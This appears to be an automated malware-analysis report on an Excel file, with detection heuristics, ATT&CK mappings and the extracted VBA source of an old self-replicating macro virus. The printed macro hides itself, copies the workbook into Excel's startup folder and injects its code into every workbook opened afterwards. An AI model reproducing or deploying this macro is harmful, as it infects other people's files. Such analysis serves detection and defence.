MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file is an Excel document containing a VBA macro with an Auto_Open subroutine. This macro attempts to save a copy of itself to the startup folder, named 'ÿ', likely to achieve persistence. The script is truncated but indicates further malicious activity. The ClamAV detection 'Xls.Trojan.FS-17' further supports its malicious nature.
Heuristics 3
-
ClamAV: Xls.Trojan.FS-17 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.FS-17
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1955 bytes |
SHA-256: 5aad02ff7503ebc304b844369d2654166759863a532a96c3db25fa186d353257 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "ÿ"
'Copyright (C) 1998 by FlyShadow ~^^~ - Larky
Private Sub Auto_Open()
On Error Resume Next
Application.EnableEvents = 1
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
If Application.Workbooks("ÿ").Name <> "ÿ" Then
£d = Application.StartupPath & ".\" & "ÿ"
Workbooks(ActiveWorkbook.Name).SaveCopyAs £d
Workbooks.Open £d: End If
Windows("ÿ").Visible = 0: Application.OnSheetActivate = "ÿ" & "!£h"
End Sub
Private Sub £h()
On Error Resume Next
Windows("ÿ").Visible = 0
Set £o = ActiveWorkbook
Set £\ = ThisWorkbook.VBProject.VBComponents("ÿ").CodeModule
£f = £\.Lines(1, £\.CountOfLines + 1)
If £o.VBProject.VBComponents(£\).Name <> £\ Then
£o.VBProject.VBComponents.Add(1).Name = £\
£o.VBProject.VBComponents(£\).CodeModule.InsertLines 1, £f: End If
ThisWorkbook.Saved = 1
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.